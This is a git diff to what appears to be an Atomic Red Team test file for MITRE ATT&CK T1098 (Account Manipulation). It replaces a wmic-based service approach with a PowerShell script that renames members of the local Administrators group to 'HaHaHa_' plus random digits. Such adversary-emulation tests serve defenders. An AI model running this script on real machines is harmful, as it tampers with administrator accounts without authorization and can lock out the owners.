diff --git a/atomics/T1098/T1098.md b/atomics/T1098/T1098.md
index b8c6ae66..00c27157 100644
--- a/atomics/T1098/T1098.md
+++ b/atomics/T1098/T1098.md
@@ -27,15 +27,21 @@ Manipulate Admin Account Name
 
 #### Run it with `powershell`!
 ```
-$x = Get-Random -Minimum 2 -Maximum 99
-$y = Get-Random -Minimum 2 -Maximum 99
-$z = Get-Random -Minimum 2 -Maximum 99
-$w = Get-Random -Minimum 2 -Maximum 99
-$newadmin = "HaHaHa_$x$y$z$w".ToString()
+$x = Get-Random -Minimum 2 -Maximum 9999
+$y = Get-Random -Minimum 2 -Maximum 9999
+$z = Get-Random -Minimum 2 -Maximum 9999
+$w = Get-Random -Minimum 2 -Maximum 9999
+Write-Host HaHaHa_$x$y$z$w
 
-$serviceName = "Rename Account Service"
-$serviceDisplayName = "Rename Account Service"
-$serviceDescription = "Rename Account Service"
-$serviceExecutable = "wmic useraccount where name='Administrator' rename '$newadmin'"
+$hostname = (Get-CIMInstance CIM_ComputerSystem).Name
+
+$fmm = Get-CimInstance -ClassName win32_group -Filter "name = 'Administrators'" | Get-CimAssociatedInstance -Association win32_groupuser | Select Name
+
+foreach($member in $fmm) {
+    if($member -like "*Administrator*") {
+        Rename-LocalUser -Name $member.Name -NewName "HaHaHa_$x$y$z$w"
+        Write-Host "Successfully Renamed Administrator Account on" $hostname
+        }
+    }
 ```
 <br/>